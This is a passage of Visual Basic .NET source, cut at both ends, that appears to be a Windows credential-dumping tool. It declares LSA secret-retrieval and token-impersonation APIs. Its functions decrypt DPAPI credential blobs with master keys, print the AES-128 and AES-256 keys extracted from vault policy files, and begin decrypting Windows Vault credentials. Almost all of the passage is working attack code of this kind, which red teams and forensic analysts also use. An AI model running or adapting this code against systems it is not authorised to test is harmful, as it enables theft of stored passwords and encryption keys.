PolicyReplicaSourceInformation PolicyDefaultQuotaInformation PolicyModificationInformation PolicyAuditFullSetInformation PolicyAuditFullQueryInformation PolicyDnsDomainInformation End Enum Public Enum LSA_AccessPolicy As Long POLICY_VIEW_LOCAL_INFORMATION = &H1L POLICY_VIEW_AUDIT_INFORMATION = &H2L POLICY_GET_PRIVATE_INFORMATION = &H4L POLICY_TRUST_ADMIN = &H8L POLICY_CREATE_ACCOUNT = &H10L POLICY_CREATE_SECRET = &H20L POLICY_CREATE_PRIVILEGE = &H40L POLICY_SET_DEFAULT_QUOTA_LIMITS = &H80L POLICY_SET_AUDIT_REQUIREMENTS = &H100L POLICY_AUDIT_LOG_ADMIN = &H200L POLICY_SERVER_ADMIN = &H400L POLICY_LOOKUP_NAMES = &H800L POLICY_NOTIFICATION = &H1000L End Enum Public Structure LSA_OBJECT_ATTRIBUTES Public Length As UInteger Public RootDirectory As IntPtr Public ObjectName As LSA_UNICODE_STRING Public Attributes As UInteger Public SecurityDescriptor As IntPtr Public SecurityQualityOfService As IntPtr End Structure <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Public Structure DOMAIN_CONTROLLER_INFO <MarshalAs(UnmanagedType.LPTStr)> Public DomainControllerName As String <MarshalAs(UnmanagedType.LPTStr)> Public DomainControllerAddress As String Public DomainControllerAddressType As UInteger Public DomainGuid As Guid <MarshalAs(UnmanagedType.LPTStr)> Public DomainName As String <MarshalAs(UnmanagedType.LPTStr)> Public DnsForestName As String Public Flags As UInteger <MarshalAs(UnmanagedType.LPTStr)> Public DcSiteName As String <MarshalAs(UnmanagedType.LPTStr)> Public ClientSiteName As String End Structure <Flags> Public Enum DSGETDCNAME_FLAGS As UInteger DS_FORCE_REDISCOVERY = &H1 DS_DIRECTORY_SERVICE_REQUIRED = &H10 DS_DIRECTORY_SERVICE_PREFERRED = &H20 DS_GC_SERVER_REQUIRED = &H40 DS_PDC_REQUIRED = &H80 DS_BACKGROUND_ONLY = &H100 DS_IP_REQUIRED = &H200 DS_KDC_REQUIRED = &H400 DS_TIMESERV_REQUIRED = &H800 DS_WRITABLE_REQUIRED = &H1000 DS_GOOD_TIMESERV_PREFERRED = &H2000 DS_AVOID_SELF = &H4000 DS_ONLY_LDAP_NEEDED = &H8000 DS_IS_FLAT_NAME = &H10000 DS_IS_DNS_NAME = &H20000 DS_RETURN_DNS_NAME = &H40000000 DS_RETURN_FLAT_NAME = &H80000000UI End Enum <DllImport("advapi32.dll", SetLastError:=True, PreserveSig:=True)> Public Shared Function LsaOpenPolicy(ByRef SystemName As LSA_UNICODE_STRING, ByRef ObjectAttributes As LSA_OBJECT_ATTRIBUTES, ByVal DesiredAccess As UInteger, <Out> ByRef PolicyHandle As IntPtr) As UInteger End Function <DllImport("advapi32.dll", SetLastError:=True, PreserveSig:=True)> Public Shared Function LsaRetrievePrivateData(ByVal PolicyHandle As IntPtr, ByRef KeyName As LSA_UNICODE_STRING, <Out> ByRef PrivateData As IntPtr) As UInteger End Function <DllImport("advapi32.dll", SetLastError:=True)> Public Shared Function LsaNtStatusToWinError(ByVal status As UInteger) As UInteger End Function <DllImport("advapi32.dll", SetLastError:=True)> Public Shared Function LsaClose(ByVal ObjectHandle As IntPtr) As UInteger End Function <DllImport("advapi32.dll", SetLastError:=True, PreserveSig:=True)> Public Shared Function LsaFreeMemory(ByVal buffer As IntPtr) As UInteger End Function <DllImport("advapi32.dll", SetLastError:=True)> Public Shared Function OpenProcessToken(ByVal ProcessHandle As IntPtr, ByVal DesiredAccess As UInteger, <Out> ByRef TokenHandle As IntPtr) As Boolean End Function <DllImport("advapi32.dll", SetLastError:=True)> Public Shared Function DuplicateToken(ByVal ExistingTokenHandle As IntPtr, ByVal SECURITY_IMPERSONATION_LEVEL As Integer, ByRef DuplicateTokenHandle As IntPtr) As Boolean End Function <DllImport("advapi32.dll", SetLastError:=True)> Public Shared Function ImpersonateLoggedOnUser(ByVal hToken As IntPtr) As Boolean End Function <DllImport("kernel32.dll", SetLastError:=True)> Public Shared Function CloseHandle(ByVal hObject As IntPtr) As Boolean End Function <DllImport("advapi32.dll", SetLastError:=True)> Public Shared Function RevertToSelf() As Boolean End Function <Flags> Public Enum IsTextUnicodeFlags As Integer IS_TEXT_UNICODE_ASCII16 = &H1 IS_TEXT_UNICODE_REVERSE_ASCII16 = &H10 IS_TEXT_UNICODE_STATISTICS = &H2 IS_TEXT_UNICODE_REVERSE_STATISTICS = &H20 IS_TEXT_UNICODE_CONTROLS = &H4 IS_TEXT_UNICODE_REVERSE_CONTROLS = &H40 IS_TEXT_UNICODE_SIGNATURE = &H8 IS_TEXT_UNICODE_REVERSE_SIGNATURE = &H80 IS_TEXT_UNICODE_ILLEGAL_CHARS = &H100 IS_TEXT_UNICODE_ODD_LENGTH = &H200 IS_TEXT_UNICODE_DBCS_LEADBYTE = &H400 IS_TEXT_UNICODE_NULL_BYTES = &H1000 IS_TEXT_UNICODE_UNICODE_MASK = &HF IS_TEXT_UNICODE_REVERSE_MASK = &HF0 IS_TEXT_UNICODE_NOT_UNICODE_MASK = &HF00 IS_TEXT_UNICODE_NOT_ASCII_MASK = &HF000 End Enum <DllImport("Advapi32", SetLastError:=False)> Public Shared Function IsTextUnicode(ByVal buf As Byte(), ByVal len As Integer, ByRef opt As IsTextUnicodeFlags) As Boolean End Function <DllImport("advapi32.dll", CharSet:=CharSet.Auto)> Public Shared Function RegOpenKeyEx(ByVal hKey As UInteger, ByVal subKey As String, ByVal ulOptions As Integer, ByVal samDesired As Integer, ByRef hkResult As IntPtr) As Integer End Function <DllImport("advapi32.dll")> Public Shared Function RegQueryInfoKey(ByVal hkey As IntPtr, ByVal lpClass As StringBuilder, ByRef lpcbClass As Integer, ByVal lpReserved As Integer, ByRef lpcSubKeys As IntPtr, ByRef lpcbMaxSubKeyLen As IntPtr, ByRef lpcbMaxClassLen As IntPtr, ByRef lpcValues As IntPtr, ByRef lpcbMaxValueNameLen As IntPtr, ByRef lpcbMaxValueLen As IntPtr, ByRef lpcbSecurityDescriptor As IntPtr, ByVal lpftLastWriteTime As IntPtr) As Integer End Function <DllImport("advapi32.dll", SetLastError:=True)> Public Shared Function RegQueryValueEx(ByVal hKey As IntPtr, ByVal lpValueName As String, ByVal lpReserved As Integer, ByVal type As IntPtr, ByVal lpData As IntPtr, ByRef lpcbData As Integer) As Integer End Function <DllImport("advapi32.dll", SetLastError:=True)> Public Shared Function RegCloseKey(ByVal hKey As IntPtr) As Integer End Function <DllImport("shlwapi.dll", CharSet:=CharSet.Unicode)> Friend Shared Function PathIsUNC( <MarshalAs(UnmanagedType.LPWStr), [In]> ByVal pszPath As String) As Boolean End Function <DllImport("Netapi32.dll", CharSet:=CharSet.Auto, SetLastError:=True)> Public Shared Function DsGetDcName( <MarshalAs(UnmanagedType.LPTStr)> ByVal ComputerName As String, <MarshalAs(UnmanagedType.LPTStr)> ByVal DomainName As String, <[In]> ByVal DomainGuid As Integer, <MarshalAs(UnmanagedType.LPTStr)> ByVal SiteName As String, <MarshalAs(UnmanagedType.U4)> ByVal flags As DSGETDCNAME_FLAGS, <Out> ByRef pDOMAIN_CONTROLLER_INFO As IntPtr) As Integer End Function <DllImport("Netapi32.dll", SetLastError:=True)> Public Shared Function NetApiBufferFree(ByVal Buffer As IntPtr) As Integer End Function Public Shared Function GetDCName() As String Dim domainInfo As DOMAIN_CONTROLLER_INFO Const ERROR_SUCCESS = 0 Dim pDCI = IntPtr.Zero Dim val = DsGetDcName("", "", 0, "", DSGETDCNAME_FLAGS.DS_DIRECTORY_SERVICE_REQUIRED Or DSGETDCNAME_FLAGS.DS_RETURN_DNS_NAME Or DSGETDCNAME_FLAGS.DS_IP_REQUIRED, pDCI) If ERROR_SUCCESS = val Then domainInfo = CType(Marshal.PtrToStructure(pDCI, GetType(DOMAIN_CONTROLLER_INFO)), DOMAIN_CONTROLLER_INFO) Dim dcName = domainInfo.DomainControllerName NetApiBufferFree(pDCI) Return dcName.Trim("\"c) Else Dim errorMessage As String = New Win32Exception(val).Message Console.WriteLine(vbCrLf & " [X] Error {0} retrieving domain controller : {1}", val, errorMessage) NetApiBufferFree(pDCI) Return "" End If End Function End Class Public Class DPAPI ' Wrapper for DPAPI CryptProtectData function. <DllImport("crypt32.dll", SetLastError:=True, CharSet:=CharSet.Auto)> Private Shared Function CryptProtectData _ ( ByRef pPlainText As DATA_BLOB, ByVal szDescription As String, ByRef pEntropy As DATA_BLOB, ByVal pReserved As IntPtr, ByRef pPrompt As CRYPTPROTECT_PROMPTSTRUCT, ByVal dwFlags As Integer, ByRef pCipherText As DATA_BLOB ) As Boolean End Function ' Wrapper for DPAPI CryptUnprotectData function. <DllImport("crypt32.dll", SetLastError:=True, CharSet:=CharSet.Auto)> Private Shared Function CryptUnprotectData _ ( ByRef pCipherText As DATA_BLOB, ByRef pszDescription As String, ByRef pEntropy As DATA_BLOB, ByVal pReserved As IntPtr, ByRef pPrompt As CRYPTPROTECT_PROMPTSTRUCT, ByVal dwFlags As Integer, ByRef pPlainText As DATA_BLOB ) As Boolean End Function ' BLOB structure used to pass data to DPAPI functions. <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Friend Structure DATA_BLOB Public cbData As Integer Public pbData As IntPtr End Structure ' Prompt structure to be used for required parameters. <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Friend Structure CRYPTPROTECT_PROMPTSTRUCT Public cbSize As Integer Public dwPromptFlags As Integer Public hwndApp As IntPtr Public szPrompt As String End Structure ' DPAPI key initialization flags. Private Const CRYPTPROTECT_UI_FORBIDDEN As Integer = 1 Private Const CRYPTPROTECT_LOCAL_MACHINE As Integer = 4 ' <summary> ' Initializes empty prompt structure. ' </summary> ' <param name="ps"> ' Prompt parameter (which we do not actually need). ' </param> Private Shared Sub InitPrompt _ ( ByRef ps As CRYPTPROTECT_PROMPTSTRUCT ) ps.cbSize = Marshal.SizeOf(GetType(CRYPTPROTECT_PROMPTSTRUCT)) ps.dwPromptFlags = 0 ps.hwndApp = IntPtr.Zero ps.szPrompt = Nothing End Sub ' <summary> ' Initializes a BLOB structure from a byte array. ' </summary> ' <param name="data"> ' Original data in a byte array format. ' </param> ' <param name="blob"> ' Returned blob structure. ' </param> Private Shared Sub InitBLOB _ ( ByVal data As Byte(), ByRef blob As DATA_BLOB ) ' Use empty array for null parameter. If data Is Nothing Then data = New Byte(0) {} End If ' Allocate memory for the BLOB data. blob.pbData = Marshal.AllocHGlobal(data.Length) ' Make sure that memory allocation was successful. If blob.pbData.Equals(IntPtr.Zero) Then Throw New Exception( "Unable to allocate data buffer for BLOB structure.") End If ' Specify number of bytes in the BLOB. blob.cbData = data.Length Marshal.Copy(data, 0, blob.pbData, data.Length) End Sub ' Flag indicating the type of key. DPAPI terminology refers to ' key types as user store or machine store. Public Enum KeyType UserKey = 1 MachineKey End Enum ' It is reasonable to set default key type to user key. Private Shared defaultKeyType As KeyType = KeyType.UserKey ' <summary> ' Calls DPAPI CryptProtectData function to encrypt a plaintext ' string value with a user-specific key. This function does not ' specify data description and additional entropy. ' </summary> ' <param name="plainText"> ' Plaintext data to be encrypted. ' </param> ' <returns> ' Encrypted value in a base64-encoded format. ' </returns> Public Shared Function Encrypt _ ( ByVal plainText As String ) As String Return Encrypt(defaultKeyType, plainText, String.Empty, String.Empty) End Function ' <summary> ' Calls DPAPI CryptProtectData function to encrypt a plaintext ' string value. This function does not specify data description ' and additional entropy. ' </summary> ' <param name="keyType"> ' Defines type of encryption key to use. When user key is ' specified, any application running under the same user account ' as the one making this call, will be able to decrypt data. ' Machine key will allow any application running on the same ' computer where data were encrypted to perform decryption. ' Note: If optional entropy is specifed, it will be required ' for decryption. ' </param> ' <param name="plainText"> ' Plaintext data to be encrypted. ' </param> ' <returns> ' Encrypted value in a base64-encoded format. ' </returns> Public Shared Function Encrypt _ ( ByVal keyType As KeyType, ByVal plainText As String ) As String Return Encrypt(keyType, plainText, String.Empty, String.Empty) End Function Public Shared Function Encrypt _ ( ByVal keyType As KeyType, ByVal plainText As String, ByVal entropy As String ) As String Return Encrypt(keyType, plainText, entropy, String.Empty) End Function ' <summary> ' Calls DPAPI CryptProtectData function to encrypt a plaintext ' string value. This function does not specify data description. ' </summary> ' <param name="keyType"> ' Defines type of encryption key to use. When user key is ' specified, any application running under the same user account ' as the one making this call, will be able to decrypt data. ' Machine key will allow any application running on the same ' computer where data were encrypted to perform decryption. ' Note: If optional entropy is specifed, it will be required ' for decryption. ' </param> ' <param name="plainText"> ' Plaintext data to be encrypted. ' </param> ' <param name="entropy"> ' Optional entropy which - if specified - will be required to ' perform decryption. ' </param> ' <returns> ' Encrypted value in a base64-encoded format. ' </returns> Public Shared Function Encrypt _ ( ByVal keyType As KeyType, ByVal plainText As String, ByVal entropy As String, ByVal description As String ) As String If plainText Is Nothing Then plainText = String.Empty End If If entropy Is Nothing Then entropy = String.Empty End If Dim ReturnedData() As Byte ReturnedData = Encrypt(keyType, Encoding.UTF8.GetBytes(plainText), Encoding.UTF8.GetBytes(entropy), description) Debug.Write(BytesToString(ReturnedData)) Debug.WriteLine(vbCrLf) Return Convert.ToBase64String(ReturnedData) End Function Private Shared Function BytesToString(ByVal Input As Byte()) As String Dim Result As New System.Text.StringBuilder(Input.Length * 2) Dim Part As String For Each b As Byte In Input Part = Conversion.Hex(b) If Part.Length = 1 Then Part = "0" & Part Result.Append(Part & " ") Next Return Result.ToString() End Function ' <summary> ' Calls DPAPI CryptProtectData function to encrypt an array of ' plaintext bytes. ' </summary> ' <param name="keyType"> ' Defines type of encryption key to use. When user key is ' specified, any application running under the same user account ' as the one making this call, will be able to decrypt data. ' Machine key will allow any application running on the same ' computer where data were encrypted to perform decryption. ' Note: If optional entropy is specifed, it will be required ' for decryption. ' </param> ' <param name="plainTextBytes"> ' Plaintext data to be encrypted. ' </param> ' <param name="entropyBytes"> ' Optional entropy which - if specified - will be required to ' perform decryption. ' </param> ' <param name="description"> ' Optional description of data to be encrypted. If this value is ' specified, it will be stored along with encrypted data and ' returned as a separate value during decryption. ' </param> ' <returns> ' Encrypted value. ' </returns> Public Shared Function Encrypt _ ( ByVal keyType As KeyType, ByVal plainTextBytes As Byte(), ByVal entropyBytes As Byte(), ByVal description As String ) As Byte() ' Make sure that parameters are valid. If plainTextBytes Is Nothing Then plainTextBytes = New Byte(0) {} End If If entropyBytes Is Nothing Then entropyBytes = New Byte(0) {} End If If description Is Nothing Then description = String.Empty End If ' Create BLOBs to hold data. Dim plainTextBlob As DATA_BLOB = New DATA_BLOB Dim cipherTextBlob As DATA_BLOB = New DATA_BLOB Dim entropyBlob As DATA_BLOB = New DATA_BLOB ' We only need prompt structure because it is a required ' parameter. Dim prompt As _ CRYPTPROTECT_PROMPTSTRUCT = New CRYPTPROTECT_PROMPTSTRUCT InitPrompt(prompt) Try ' Convert plaintext bytes into a BLOB structure. Try InitBLOB(plainTextBytes, plainTextBlob) Catch ex As Exception Throw New Exception("Cannot initialize plaintext BLOB.", ex) End Try ' Convert entropy bytes into a BLOB structure. Try InitBLOB(entropyBytes, entropyBlob) Catch ex As Exception Throw New Exception("Cannot initialize entropy BLOB.", ex) End Try ' Disable any types of UI. Dim flags As Integer = CRYPTPROTECT_UI_FORBIDDEN ' When using machine-specific key, set up machine flag. If keyType = KeyType.MachineKey Then flags = flags Or (CRYPTPROTECT_LOCAL_MACHINE) End If ' Call DPAPI to encrypt data. Dim success As Boolean = CryptProtectData( plainTextBlob, description, entropyBlob, IntPtr.Zero, prompt, flags, cipherTextBlob) ' Check the result. If Not success Then ' If operation failed, retrieve last Win32 error. Dim errCode As Integer = Marshal.GetLastWin32Error() ' Win32Exception will contain error message corresponding ' to the Windows error code. Throw New Exception("CryptProtectData failed.", New Win32Exception(errCode)) End If ' Allocate memory to hold ciphertext. Dim cipherTextBytes(cipherTextBlob.cbData - 1) As Byte ' Copy ciphertext from the BLOB to a byte array. Marshal.Copy(cipherTextBlob.pbData, cipherTextBytes, 0, cipherTextBlob.cbData) ' Return the result. Return cipherTextBytes Catch ex As Exception Throw New Exception("DPAPI was unable to encrypt data.", ex) Finally If Not (plainTextBlob.pbData.Equals(IntPtr.Zero)) Then Marshal.FreeHGlobal(plainTextBlob.pbData) End If If Not (cipherTextBlob.pbData.Equals(IntPtr.Zero)) Then Marshal.FreeHGlobal(cipherTextBlob.pbData) End If If Not (entropyBlob.pbData.Equals(IntPtr.Zero)) Then Marshal.FreeHGlobal(entropyBlob.pbData) End If End Try End Function ' <summary> ' Calls DPAPI CryptUnprotectData to decrypt ciphertext bytes. ' This function does not use additional entropy and does not ' return data description. ' </summary> ' <param name="cipherText"> ' Encrypted data formatted as a base64-encoded string. ' </param> ' <returns> ' Decrypted data returned as a UTF-8 string. ' </returns> ' <remarks> ' When decrypting data, it is not necessary to specify which ' type of encryption key to use: user-specific or ' machine-specific; DPAPI will figure it out by looking at ' the signature of encrypted data. ' </remarks> Public Shared Function Decrypt _ ( ByVal cipherText As String ) As String Dim description As String Return Decrypt(cipherText, String.Empty, description) End Function ' <summary> ' Calls DPAPI CryptUnprotectData to decrypt ciphertext bytes. ' This function does not use additional entropy. ' </summary> ' <param name="cipherText"> ' Encrypted data formatted as a base64-encoded string. ' </param> ' <param name="description"> ' Returned description of data specified during encryption. ' </param> ' <returns> ' Decrypted data returned as a UTF-8 string. ' </returns> ' <remarks> ' When decrypting data, it is not necessary to specify which ' type of encryption key to use: user-specific or ' machine-specific; DPAPI will figure it out by looking at ' the signature of encrypted data. ' </remarks> Public Shared Function Decrypt _ ( ByVal cipherText As String, ByRef description As String ) As String Return Decrypt(cipherText, String.Empty, description) End Function ' <summary> ' Calls DPAPI CryptUnprotectData to decrypt ciphertext bytes. ' </summary> ' <param name="cipherText"> ' Encrypted data formatted as a base64-encoded string. ' </param> ' <param name="entropy"> ' Optional entropy, which is required if it was specified during ' encryption. ' </param> ' <param name="description"> ' Returned description of data specified during encryption. ' </param> ' <returns> ' Decrypted data returned as a UTF-8 string. ' </returns> ' <remarks> ' When decrypting data, it is not necessary to specify which ' type of encryption key to use: user-specific or ' machine-specific; DPAPI will figure it out by looking at ' the signature of encrypted data. ' </remarks> Public Shared Function Decrypt _ ( ByVal cipherText As String, ByVal entropy As String, ByRef description As String ) As String ' Make sure that parameters are valid. If entropy Is Nothing Then entropy = String.Empty End If Return Encoding.UTF8.GetString( Decrypt(Convert.FromBase64String(cipherText), Encoding.UTF8.GetBytes(entropy), description)) End Function ' <summary> ' Calls DPAPI CryptUnprotectData to decrypt ciphertext bytes. ' </summary> ' <param name="cipherTextBytes"> ' Encrypted data. ' </param> ' <param name="entropyBytes"> ' Optional entropy, which is required if it was specified during ' encryption. ' </param> ' <param name="description"> ' Returned description of data specified during encryption. ' </param> ' <returns> ' Decrypted data bytes. ' </returns> ' <remarks> ' When decrypting data, it is not necessary to specify which ' type of encryption key to use: user-specific or ' machine-specific; DPAPI will figure it out by looking at ' the signature of encrypted data. ' </remarks> Public Shared Function Decrypt _ ( ByVal cipherTextBytes As Byte(), ByVal entropyBytes As Byte(), ByRef description As String ) As Byte() ' Create BLOBs to hold data. Dim plainTextBlob As DATA_BLOB = New DATA_BLOB Dim cipherTextBlob As DATA_BLOB = New DATA_BLOB Dim entropyBlob As DATA_BLOB = New DATA_BLOB ' We only need prompt structure because it is a required ' parameter. Dim prompt As _ CRYPTPROTECT_PROMPTSTRUCT = New CRYPTPROTECT_PROMPTSTRUCT InitPrompt(prompt) ' Initialize description string. description = String.Empty Try ' Convert ciphertext bytes into a BLOB structure. Try InitBLOB(cipherTextBytes, cipherTextBlob) Catch ex As Exception Throw New Exception("Cannot initialize ciphertext BLOB.", ex) End Try ' Convert entropy bytes into a BLOB structure. Try InitBLOB(entropyBytes, entropyBlob) Catch ex As Exception Throw New Exception("Cannot initialize entropy BLOB.", ex) End Try ' Disable any types of UI. CryptUnprotectData does not ' mention CRYPTPROTECT_LOCAL_MACHINE flag in the list of ' supported flags so we will not set it up. Dim flags As Integer = CRYPTPROTECT_UI_FORBIDDEN ' Call DPAPI to decrypt data. Dim success As Boolean = CryptUnprotectData( cipherTextBlob, description, entropyBlob, IntPtr.Zero, prompt, flags, plainTextBlob) ' Check the result. If Not success Then ' If operation failed, retrieve last Win32 error. Dim errCode As Integer = Marshal.GetLastWin32Error() ' Win32Exception will contain error message corresponding ' to the Windows error code. Throw New Exception("CryptUnprotectData failed.", New Win32Exception(errCode)) End If ' Allocate memory to hold plaintext. Dim plainTextBytes(plainTextBlob.cbData - 1) As Byte ' Copy ciphertext from the BLOB to a byte array. Marshal.Copy(plainTextBlob.pbData, plainTextBytes, 0, plainTextBlob.cbData) ' Return the result. Return plainTextBytes Catch ex As Exception Throw New Exception("DPAPI was unable to decrypt data.", ex) ' Free all memory allocated for BLOBs. Finally If Not (plainTextBlob.pbData.Equals(IntPtr.Zero)) Then Marshal.FreeHGlobal(plainTextBlob.pbData) End If If Not (cipherTextBlob.pbData.Equals(IntPtr.Zero)) Then Marshal.FreeHGlobal(cipherTextBlob.pbData) End If If Not (entropyBlob.pbData.Equals(IntPtr.Zero)) Then Marshal.FreeHGlobal(entropyBlob.pbData) End If End Try End Function Public Enum DataProtectionScope CurrentUser = 0 LocalMachine = 1 End Enum Public Shared Function DescribeDPAPIBlob(ByVal blobBytes As Byte(), ByVal MasterKeys As Dictionary(Of String, String), ByVal Optional blobType As String = "credential", ByVal Optional unprotect As Boolean = False) As Byte() Dim offset As Integer = 0 If blobType.Equals("credential") Then offset = 36 ElseIf blobType.Equals("policy") Then offset = 24 ElseIf blobType.Equals("blob") Then offset = 24 ElseIf blobType.Equals("rdg") Then offset = 24 Else Console.WriteLine("[X] Unsupported blob type: {0}", blobType) Return New Byte(-1) {} End If Dim guidMasterKeyBytes As Byte() = New Byte(15) {} Array.Copy(blobBytes, offset, guidMasterKeyBytes, 0, 16) Dim guidMasterKey As Guid = New Guid(guidMasterKeyBytes) Dim guidString As String = String.Format("{{{0}}}", guidMasterKey) If Not blobType.Equals("rdg") Then Console.WriteLine(" guidMasterKey : {0}", guidString) End If offset += 16 If Not blobType.Equals("rdg") Then Console.WriteLine(" size : {0}", blobBytes.Length) End If Dim flags As UInt32 = BitConverter.ToUInt32(blobBytes, offset) offset += 4 If Not blobType.Equals("rdg") Then Console.Write(" flags : 0x{0}", flags.ToString("X")) If (flags <> 0) AndAlso ((flags And &H20000000) = flags) Then Console.Write(" (CRYPTPROTECT_SYSTEM)") End If Console.WriteLine() End If Dim descLength As Integer = BitConverter.ToInt32(blobBytes, offset) offset += 4 Dim description As String = Encoding.Unicode.GetString(blobBytes, offset, descLength) offset += descLength Dim algCrypt As Integer = BitConverter.ToInt32(blobBytes, offset) offset += 4 Dim algCryptLen As Integer = BitConverter.ToInt32(blobBytes, offset) offset += 4 Dim saltLen As Integer = BitConverter.ToInt32(blobBytes, offset) offset += 4 Dim saltBytes As Byte() = New Byte(saltLen - 1) {} Array.Copy(blobBytes, offset, saltBytes, 0, saltLen) offset += saltLen Dim hmacKeyLen As Integer = BitConverter.ToInt32(blobBytes, offset) offset += 4 + hmacKeyLen Dim algHash As Integer = BitConverter.ToInt32(blobBytes, offset) offset += 4 If Not blobType.Equals("rdg") Then Console.WriteLine(" algHash/algCrypt : {0} ({1}) / {2} ({3})", algHash, CType(algHash, Interop.CryptAlg), algCrypt, CType(algCrypt, Interop.CryptAlg)) Console.WriteLine(" description : {0}", description) End If Dim algHashLen As Integer = BitConverter.ToInt32(blobBytes, offset) offset += 4 Dim hmac2KeyLen As Integer = BitConverter.ToInt32(blobBytes, offset) offset += 4 + hmac2KeyLen Dim dataLen As Integer = BitConverter.ToInt32(blobBytes, offset) offset += 4 Dim dataBytes As Byte() = New Byte(dataLen - 1) {} Array.Copy(blobBytes, offset, dataBytes, 0, dataLen) Console.WriteLine(" hmac2KeyLen : {0}", hmac2KeyLen) Console.WriteLine(" dataLen : {0}", dataLen) Console.WriteLine(" dataBytes : 0x{0}", BitConverter.ToString(dataBytes)) If (blobType.Equals("rdg") OrElse blobType.Equals("blob")) AndAlso unprotect Then Dim entropy As Byte() = New Byte(-1) {} Try Dim decBytes As Byte() = ProtectedData.Unprotect(blobBytes, entropy, DataProtectionScope.CurrentUser) Return decBytes Catch Return Encoding.Unicode.GetBytes(String.Format("MasterKey needed - {0}", guidString)) End Try ElseIf MasterKeys.ContainsKey(guidString) Then If algHash = 32782 Then Try Dim keyBytes As Byte() = Helpers.StringToByteArray(MasterKeys(guidString).ToString()) Dim derivedKeyBytes As Byte() = Crypto.DeriveKey(keyBytes, saltBytes, algHash) Dim finalKeyBytes As Byte() = New Byte(algCryptLen / 8 - 1) {} Array.Copy(derivedKeyBytes, finalKeyBytes, CInt(algCryptLen / 8)) Return Crypto.DecryptBlob(dataBytes, finalKeyBytes, algCrypt) Catch Console.WriteLine(" [X] Error retrieving GUID:SHA1 from cache {0}", guidString) End Try ElseIf algHash = 32772 Then Try Dim keyBytes As Byte() = Helpers.StringToByteArray(MasterKeys(guidString).ToString()) Dim derivedKeyBytes As Byte() = Crypto.DeriveKey(keyBytes, saltBytes, algHash) Dim finalKeyBytes As Byte() = New Byte(algCryptLen / 8 - 1) {} Array.Copy(derivedKeyBytes, finalKeyBytes, CInt(algCryptLen / 8)) Return Crypto.DecryptBlob(dataBytes, finalKeyBytes, algCrypt) Catch Console.WriteLine(" [X] Error retrieving GUID:SHA1 from cache {0}", guidString) End Try Else Console.WriteLine(" [X] Only sha1 and sha256 are currently supported for the hash algorithm. Alg '{0}' ({1}) not supported", algHash, CType(algHash, Interop.CryptAlg)) End If Else If blobType.Equals("rdg") Then Return Encoding.Unicode.GetBytes(String.Format("MasterKey needed - {0}", guidString)) Else Console.WriteLine(" [X] MasterKey GUID not in cache: {0}", guidString) End If End If If Not blobType.Equals("rdg") Then Console.WriteLine() End If Return New Byte(-1) {} End Function Public Shared Function DescribePolicy(ByVal policyBytes As Byte(), ByVal MasterKeys As Dictionary(Of String, String)) As ArrayList Dim offset As Integer = 0 Dim version As Integer = BitConverter.ToInt32(policyBytes, offset) offset += 4 Dim vaultIDbytes As Byte() = New Byte(15) {} Array.Copy(policyBytes, offset, vaultIDbytes, 0, 16) Dim vaultID As Guid = New Guid(vaultIDbytes) offset += 16 Console.WriteLine(vbCrLf & " VaultID : {0}", vaultID) Dim nameLen As Integer = BitConverter.ToInt32(policyBytes, offset) offset += 4 Dim name As String = Encoding.Unicode.GetString(policyBytes, offset, nameLen) offset += nameLen Console.WriteLine(" Name : {0}", name) offset += 12 Dim keyLen As Integer = BitConverter.ToInt32(policyBytes, offset) offset += 4 offset += 32 Dim keyBlobLen As Integer = BitConverter.ToInt32(policyBytes, offset) offset += 4 Dim blobBytes As Byte() = New Byte(keyBlobLen - 1) {} Array.Copy(policyBytes, offset, blobBytes, 0, keyBlobLen) Dim plaintextBytes As Byte() = DescribeDPAPIBlob(blobBytes, MasterKeys, "policy") If plaintextBytes.Length > 0 Then Dim keys As ArrayList = ParseDecPolicyBlob(plaintextBytes) If keys.Count = 2 Then Dim aes128KeyStr As String = BitConverter.ToString(CType(keys(0), Byte())).Replace("-", "") Console.WriteLine(" aes128 key : {0}", aes128KeyStr) Dim aes256KeyStr As String = BitConverter.ToString(CType(keys(1), Byte())).Replace("-", "") Console.WriteLine(" aes256 key : {0}", aes256KeyStr) Return keys Else Console.WriteLine(" [X] Error parsing decrypted Policy.vpol (AES keys not extracted)") Return New ArrayList() End If Else Return New ArrayList() End If End Function Public Shared Sub DescribeVaultCred(ByVal vaultBytes As Byte(), ByVal AESKeys As ArrayList) Dim aes128key As Byte() = CType(AESKeys(0), Byte()) Dim aes256key As Byte() = CType(AESKeys(1), Byte()) Dim offset As Integer = 0 Dim finalAttributeOffset As Integer = 0 offset += 16 Dim unk0 As Integer = BitConverter.ToInt32(vaultBytes, offset) offset += 4 Dim lastWritten As Long = CLng(BitConverter.ToInt64(vaultBytes, offset)) offset += 8 Dim lastWrittenTime As System.DateTime = System.DateTime.FromFileTime(lastWritten) Console.WriteLine(vbCrLf & " LastWritten : {0}", lastWrittenTime) offset += 8 Dim friendlyNameLen As Integer = BitConverter.ToInt32(vaultBytes, offset) offset += 4 Dim friendlyName As String = Encoding.Unicode.GetString(vaultBytes, offset, friendlyNameLen) offset += friendlyNameLen Console.WriteLine(" FriendlyName : {0}", friendlyName) Dim attributeMapLen As Integer = BitConverter.ToInt32(vaultBytes, offset) offset += 4 Dim numberOfAttributes As Integer = attributeMapLen / 12 Dim attributeMap As Dictionary(Of Integer, Integer) = New Dictionary(Of Integer, Integer)() For i As Integer = 0 To numberOfAttributes - 1 Dim attributeNum As Integer = BitConverter.ToInt32(vaultBytes, offset) offset += 4 Dim attributeOffset As Integer = BitConverter.ToInt32(vaultBytes, offset) offset += 8 attributeMap.Add(attributeNum, attributeOffset) Next Dim leftover As Byte() = New Byte(vaultBytes.Length - 222 - 1) {} Array.Copy(vaultBytes, 222, leftover, 0, leftover.Length) For Each attribute As KeyValuePair(Of Integer, Integer) In attributeMap Dim attributeOffset As Integer = attribute.Value attributeOffset += 16 If attribute.Key >= 100 Then attributeOffset += 4 End If Dim dataLen As Integer = BitConverter.ToInt32(vaultBytes, attributeOffset) attributeOffset += 4 finalAttributeOffset = attributeOffset If dataLen > 0 Then Dim IVPresent As Boolean = BitConverter.ToBoolean(vaultBytes, attributeOffset) attributeOffset += 1 If Not IVPresent Then Dim dataBytes As Byte() = New Byte(dataLen - 1 - 1) {} Array.Copy(vaultBytes, attributeOffset, dataBytes, 0, dataLen - 1) finalAttributeOffset = attributeOffset + dataLen - 1 Dim decBytes As Byte() = Crypto.AESDecrypt(aes128key, New 